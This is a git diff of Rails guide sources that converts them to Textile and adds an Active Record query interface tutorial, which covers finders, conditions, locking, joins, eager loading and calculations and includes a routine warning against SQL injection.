+This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like:
 
-[source, sql]
-------------------------------------------------------------------
+
 CREATE TABLE products (
    id int(11) NOT NULL auto_increment,
    name varchar(255),
    PRIMARY KEY  (id)
 );
-------------------------------------------------------------------
+
 
 Following the table schema above, you would be able to write code like the following:
 
-[source, ruby]
-------------------------------------------------------------------
+
 p = Product.new
 p.name = "Some Book"
 puts p.name # "Some Book"
-------------------------------------------------------------------
+
 
-== Overriding the naming conventions
+h3. Overriding the naming conventions
 
-What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. 
+What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
 
 You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
-[source, ruby]
-------------------------------------------------------------------
+
 class Product < ActiveRecord::Base
   set_table_name "PRODUCT"
 end
-------------------------------------------------------------------
+
 
 It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that:
-[source, ruby]
-------------------------------------------------------------------
+
 class Product < ActiveRecord::Base
   set_primary_key "product_id"
 end
-------------------------------------------------------------------
+
 
-== Validations
+h3. Validations
 
-ActiveRecord gives the hability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the lifecycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation[Active Record Validations and Callbacks guide].
+ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation.
 
-== Callbacks
+h3. Callbacks
 
-ActiveRecord callbacks allow you to attach code to certain events in the lifecycle of your models. This way you can add behaviour to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks[Active Record Validations and Callbacks guide].
+ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks.
 
diff --git a/vendor/rails/railties/guides/source/active_record_querying.textile b/vendor/rails/railties/guides/source/active_record_querying.textile
new file mode 100644
index 00000000..5da15bbb
--- /dev/null
+++ b/vendor/rails/railties/guides/source/active_record_querying.textile
@@ -0,0 +1,901 @@
+h2. Active Record Query Interface
+
+This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
+
+* Find records using a variety of methods and conditions
+* Specify the order, retrieved attributes, grouping, and other properties of the found records
+* Use eager loading to reduce the number of database queries needed for data retrieval
+* Use dynamic finders methods
+* Create named scopes to add custom finding behavior to your models
+* Check for the existence of particular records
+* Perform various calculations on Active Record models
+
+endprologue.
+
+If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models uses +id+ as the primary key, unless specified otherwise.
+
+

+
+
+class Client < ActiveRecord::Base
+  has_one :address
+  has_one :mailing_address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+
+
+
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+
+
+
+class MailingAddress < Address
+end
+
+
+
+class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+
+
+
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+h3. Retrieving objects from the database
+
+To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL.
+
+Primary operation of Model.find(options) can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run +after_find+ callbacks if any.
+
+h4. Retrieving a single object
+
+Active Record lets you retrieve a single object using three different ways.
+
+h5. Using a primary key
+
+Using Model.find(primary_key, options = nil), you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example:
+
+
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+=> # "Ryan">
+
+
+SQL equivalent of the above is:
+
+
+SELECT * FROM clients WHERE (clients.id = 10)
+
+
+Model.find(primary_key) will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
+
+h5. Find first
+
+Model.first(options = nil) finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example:
+
+
+client = Client.first
+=> # "Lifo">
+
+
+SQL equivalent of the above is:
+
+
+SELECT * FROM clients LIMIT 1
+
+
+Model.first returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+
+
+h5. Find last
+
+Model.last(options = nil) finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example:
+
+
+# Find the client with primary key (id) 10.
+client = Client.last
+=> # "Russel">
+
+
+SQL equivalent of the above is:
+
+
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+
+
+Model.last returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+
+
+h4. Retrieving multiple objects
+
+h5. Using multiple primary keys
+
+Model.find(array_of_primary_key, options = nil) also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example:
+
+
+# Find the clients with primary keys 1 and 10.
+client = Client.find(1, 10) # Or even Client.find([1, 10])
+=> [# "Lifo">, # "Ryan">]
+
+
+SQL equivalent of the above is:
+
+
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+
+
+Model.find(array_of_primary_key) will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for all of the supplied primary keys.
+
+h5. Find all
+
+Model.all(options = nil) finds all the records matching the supplied +options+. If no +options+ are supplied, all rows from the database are returned.
+
+
+# Find all the clients.
+clients = Client.all
+=> [# "Lifo">, # "Ryan">, # "Russel">]
+
+
+And the equivalent SQL is:
+
+
+SELECT * FROM clients
+
+
+Model.all returns an empty array +[]+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+
+
+h3. Conditions
+
+The +find+ method allows you to specify conditions to limit the records returned, representing the WHERE-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+h4. Pure string conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+
+h4. Array conditions
+
+Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like:
+
+
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
+
+Or if you want to specify two conditions, you can do it like:
+
+
+Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])
+
+
+In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
+
+The reason for doing code like:
+
+
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+
+
+instead of:
+
+
+Client.first(:conditions => "orders_count = #{params[:orders]}")
+
+
+is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":../security.html#_sql_injection.
+
+h5. Placeholder conditions
+
+Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your Array conditions:
+
+
+Client.all(:conditions =>
+  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+h5. Range conditions
+
+If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
+
+
+Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date)..(params[:end_date].to_date)])
+
+
+This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
+
+
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+
+
+h5. Time and Date conditions
+
+Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
+
+
+Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+
+
+
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+
+
+This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
+
+
+Got a packet bigger than 'max_allowed_packet' bytes: _query_
+
+
+Where _query_ is the actual query used to get that error.
+
+In this example it would be better to use greater-than and less-than operators in SQL, like so:
+
+
+Client.all(:conditions =>
+  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+
+
+You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
+
+
+Client.all(:conditions =>
+  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+
+
+Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":hash-conditions section later on in the guide.
+
+h4. Hash conditions
+
+Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+h5. Equality conditions
+
+
+Client.all(:conditions => { :locked => true })
+
+
+The field name does not have to be a symbol it can also be a string:
+
+
+Client.all(:conditions => { 'locked' => true })
+
+
+h5. Range conditions
+
+The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
+
+
+Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
+
+
+This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
+
+
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+
+
+This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
+
+h5. Subset conditions
+
+If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
+
+
+Client.all(:conditions => { :orders_count => [1,3,5] })
+
+
+This code will generate SQL like this:
+
+
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+
+
+h3. Find options
+
+Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set.
+
+
+Model.find(id_or_array_of_ids, options_hash)
+Model.find(:last, options_hash)
+Model.find(:first, options_hash)
+
+Model.first(options_hash)
+Model.last(options_hash)
+Model.all(options_hash)
+
+
+The following sections give a top level overview of all the possible keys for the +options_hash+.
+
+h4. Ordering
+
+To retrieve records from the database in a specific order, you can specify the +:order+ option to the +find+ call.
+
+For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
+
+
+Client.all(:order => "created_at")
+
+
+You could specify +ASC+ or +DESC+ as well:
+
+
+Client.all(:order => "created_at DESC")
+# OR
+Client.all(:order => "created_at ASC")
+
+
+Or ordering by multiple fields:
+
+
+Client.all(:order => "orders_count ASC, created_at DESC")
+
+
+h4. Selecting specific fields
+
+By default, Model.find selects all the fields from the result set using +select *+.
+
+To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
+
+NOTE: If the +:select+ option is used, all the returning objects will be "read only":#read-only objects.
+
+

+
+For example, to select only +viewable_by+ and +locked+ columns:
+
+
+Client.all(:select => "viewable_by, locked")
+
+
+The SQL query used by this find call will be somewhat like:
+
+
+SELECT viewable_by, locked FROM clients
+
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+
+ActiveRecord::MissingAttributeError: missing attribute: 
+
+
+Where ++ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
+
+You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
+
+
+Client.all(:select => "DISTINCT(name)")
+
+
+h4. Limit and Offset
+
+To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +:limit+ and +:offset+ options on the find.
+
+If you want to limit the amount of records to a certain subset of all the records retrieved you usually use +:limit+ for this, sometimes coupled with +:offset+. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. For example:
+
+
+Client.all(:limit => 5)
+
+
+This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
+
+
+SELECT * FROM clients LIMIT 5
+
+
+Or specifying both +:limit+ and +:offset+:
+
+
+Client.all(:limit => 5, :offset => 5)
+
+
+This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
+
+
+SELECT * FROM clients LIMIT 5, 5
+
+
+h4. Group
+
+To apply +GROUP BY+ clause to the SQL fired by the +Model.find+, you can specify the +:group+ option on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+
+Order.all(:group => "date(created_at)", :order => "created_at")
+
+
+And this will give you a single +Order+ object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+
+SELECT * FROM orders GROUP BY date(created_at)
+
+
+h4. Having
+
+SQL uses +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can specify the +HAVING+ clause to the SQL fired by the +Model.find+ using +:having+ option on the find.
+
+For example:
+
+
+Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
+
+
+The SQL that would be executed would be something like this:
+
+
+SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15'
+
+
+This will return single order objects for each day, but only for the last month.
+
+h4. Readonly objects
+
+To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call.
+
+Any attempt to alter or destroy the readonly records will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. To set this option, specify it like this:
+
+
+Client.first(:readonly => true)
+
+
+If you assign this record to a variable client, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
+
+
+client = Client.first(:readonly => true)
+client.locked = false
+client.save
+
+
+h4. Locking records for update
+
+Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+h5. Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data.  It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
+
+Optimistic locking column
+
+In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice will let the last one saved raise an +ActiveRecord::StaleObjectError+ exception if the first was also updated. Example:
+
+
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises a ActiveRecord::StaleObjectError
+
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
+
+

+
+This behavior can be turned off by setting ActiveRecord::Base.lock_optimistically = false.
+
+To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
+
+
+class Client < ActiveRecord::Base
+  set_locking_column :lock_client_column
+end
+
+
+h5. Pessimistic Locking
+
+Pessimistic locking uses locking mechanism provided by the underlying database. Passing +:lock => true+ to +Model.find+ obtains an exclusive lock on the selected rows. +Model.find+ using +:lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+
+Item.transaction do
+  i = Item.first(:lock => true)
+  i.name = 'Jones'
+  i.save
+end
+
+
+The above session produces the following SQL for a MySQL backend:
+
+
+SQL (0.2ms)   BEGIN
+Item Load (0.3ms)   SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms)   UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms)   COMMIT
+
+
+You can also pass raw SQL to the +:lock+ option to allow different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+
+Item.transaction do
+  i = Item.find(1, :lock => "LOCK IN SHARE MODE")
+  i.increment!(:views)
+end
+
+
+h3. Joining tables
+
+Model.find provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option:
+
+h4. Using a string SQL fragment
+
+You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example:
+
+
+Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = client.id')
+
+
+This will result in the following SQL:
+
+
+SELECT clients.* FROM clients INNER JOIN addresses ON addresses.client_id = clients.id
+
+
+h4. Using Array/Hash of named associations
+
+WARNING: This method only works with +INNER JOIN+,
+
+

+
+Active Record lets you use the names of the "associations":association_basics.html defined on the Model, as a shortcut for specifying the +:joins+ option.
+
+For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
+
+
+class Category < ActiveRecord::Base
+  has_many :posts
+end
+
+class Post < ActiveRecord::Base
+  belongs_to :category
+  has_many :comments
+  has_many :tags
+end
+
+class Comments < ActiveRecord::Base
+  belongs_to :post
+  has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+  belongs_to :comment
+end
+
+
+Now all of the following will produce the expected join queries using +INNER JOIN+:
+
+h5. Joining a single association
+
+
+Category.all :joins => :posts
+
+
+This produces:
+
+
+SELECT categories.* FROM categories
+  INNER JOIN posts ON posts.category_id = categories.id
+
+
+h5. Joining multiple associations
+
+
+Post.all :joins => [:category, :comments]
+
+
+This produces:
+
+
+SELECT posts.* FROM posts 
+  INNER JOIN categories ON posts.category_id = categories.id
+  INNER JOIN comments ON comments.post_id = posts.id
+
+
+h5. Joining nested associations (single level)
+
+
+Post.all :joins => {:comments => :guest}
+
+
+h5. Joining nested associations (multiple level)
+
+
+Category.all :joins => {:posts => [{:comments => :guest}, :tags]}
+
+
+h4. Specifying conditions on the joined tables
+
+You can specify conditions on the joined tables using the regular "Array":#arrayconditions and "String":#purestringconditions conditions. "Hash conditions":#hashconditions provides a special syntax for specifying conditions for the joined tables:
+
+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {'orders.created_at' => time_range}
+
+
+An alternative and cleaner syntax to this is to nest the hash conditions:
+
+
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_range}}
+
+
+This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
+
+h3. Eager loading associations
+
+Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
+
+N  1 queries problem
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+
+clients = Client.all(:limit => 10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients )  10 ( one per each client to load the address ) = 11 queries in total.
+
+Solution to N  1 queries problem
+
+Active Record lets you specify all the associations in advanced that are going to be loaded. This is possible by specifying the +:include+ option of the +Model.find+ call. By +:include+, Active Record ensures that all the specified associations are loaded using minimum possible number of queries.
+
+Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
+
+
+clients = Client.all(:include => :address, :limit => 10)
+
+clients.each do |client|
+  puts client.address.postcode
+end
+
+
+The above code will execute just 2 queries, as opposed to 11 queries in the previous case:
+
+
+SELECT * FROM clients
+SELECT addresses.* FROM addresses
+  WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+
+
+h4. Eager loading multiple associations
+
+Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using Array, Hash or a nested Hash of Array/Hash with +:include+ find option.
+
+h5. Array of multiple associations 
+
+
+Post.all :include => [:category, :comments]
+
+
+This loads all the posts and the associated category and comments for each post.
+
+h5. Nested assocaitions hash
+
+
+Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]}
+
+
+The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well.
+
+h4. Specifying conditions on eager loaded associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joiningtables instead. 
+
+h3. Dynamic finders
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your Client model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the Client model, you also get +find_by_locked+ and +find_all_by_locked+.
+
+You can do +find_last_by_*+ methods too which will find the last record matching your argument.
+
+You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like +Client.find_by_name!("Ryan")+
+
+If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
+
+
+There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
+
+
+SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
+  VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+COMMIT
+
+
++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
+
+
+client = Client.find_or_initialize_by_name('Ryan')
+
+
+will either assign an existing client object with the name 'Ryan' to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+
+h3. Finding By SQL
+
+If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
+
+
+Client.find_by_sql("SELECT * FROM clients 
+  INNER JOIN orders ON clients.id = orders.client_id 
+  ORDER clients.created_at desc")
+
+
++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+h3. select_all
+
+find_by_sql has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+
+
+h3. Existence of Objects
+
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
+
+
+Client.exists?(1)
+
+
+The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+
+
+Further more, +exists+ takes a +conditions+ option much like find:
+
+
+Client.exists?(:conditions => "first_name = 'Ryan'")
+
+
+It's even possible to use +exists?+ without any arguments:
+
+
+Client.exists?
+
+
+The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
+
+h3. Calculations
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+count takes conditions much in the same way +exists?+ does:
+
+
+Client.count(:conditions => "first_name = 'Ryan'")
+
+
+Which will execute:
+
+
+SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+
+
+You can also use +:include+ or +:joins+ for this to do something a little more complex:
+
+
+Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+
+
+Which will execute:
+
+
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+  LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+  (clients.first_name = 'Ryan' AND orders.status = 'received')
+
+
+This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
+
+h4. Count
+
+If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Average
+
+If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+
+
+Client.average("orders_count")
+
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Minimum
+
+If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+
+
+Client.minimum("age")
+
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Maximum
+
+If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+
+
+Client.maximum("age")
+
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Sum
+
+If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+
+
+Client.sum("orders_count")
+
+
+For options, please see the parent section,  "Calculations":#calculations.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16
+
+* February 7, 2009: Second version by "Pratik":credits.html#lifo
+* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar
diff --git a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt b/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
similarity index 51%
rename from vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
rename to vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
index 8bfb69ea..01e52bf0 100644
--- a/vendor/rails/railties/doc/guides/source/activerecord_validations_callbacks.txt
+++ b/vendor/rails/railties/guides/source/activerecord_validations_callbacks.textile
@@ -1,103 +1,191 @@
-Active Record Validations and Callbacks
-=======================================
+h2. Active Record Validations and Callbacks
 
-This guide teaches you how to hook into the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database as well as how to perform custom operations at certain points in the object lifecycle.
+This guide teaches you how to hook into the lifecycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object lifecycle.
 
 After reading this guide and trying out the presented concepts, we hope that you'll be able to:
 
+* Understand the lifecycle of Active Record objects
 * Use the built-in Active Record validation helpers
 * Create your own custom validation methods
 * Work with the error messages generated by the validation process
-* Create callback methods to respond to events in the object lifecycle.
+* Create callback methods that respond to events in the object lifecycle
 * Create special classes that encapsulate common behavior for your callbacks
-* Create Rails Observers
+* Create Observers that respond to lifecycle events outside of the original class
 
-== Overview of ActiveRecord Validation
+endprologue.
 
-Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. Why should you use validations? When do these validations take place?
+h3. The Object Lifecycle
 
-=== Why Use ActiveRecord Validations?
+During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this object lifecycle so that you can control your application and its data. 
 
-The main reason for validating your objects before they get into the database is to ensure that only valid data is recorded. It's important to be sure that an email address column only contains valid email addresses, or that the customer's name column will never be empty. Constraints like that keep your database organized and helps your application to work properly. 
+Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
 
-There are several ways that you could validate the data that goes to the database, including native database constraints, client-side validations, and model-level validations. Each of these has pros and cons:
+h3. Validations Overview
 
-* Using database constraints and/or stored procedures makes the validation mechanisms database-dependent and may turn your application into a hard to test and maintain beast. However, if your database is used by other applications, it may be a good idea to use some constraints also at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that are problematic to implement from the application level.
-* Implementing validations only at the client side can be difficult in web-based applications. Usually this kind of validation is done using javascript, which may be turned off in the user's browser, leading to invalid data getting inside your database. However, if combined with server side validation, client side validation may be useful, since the user can have a faster feedback from the application when trying to save invalid data.
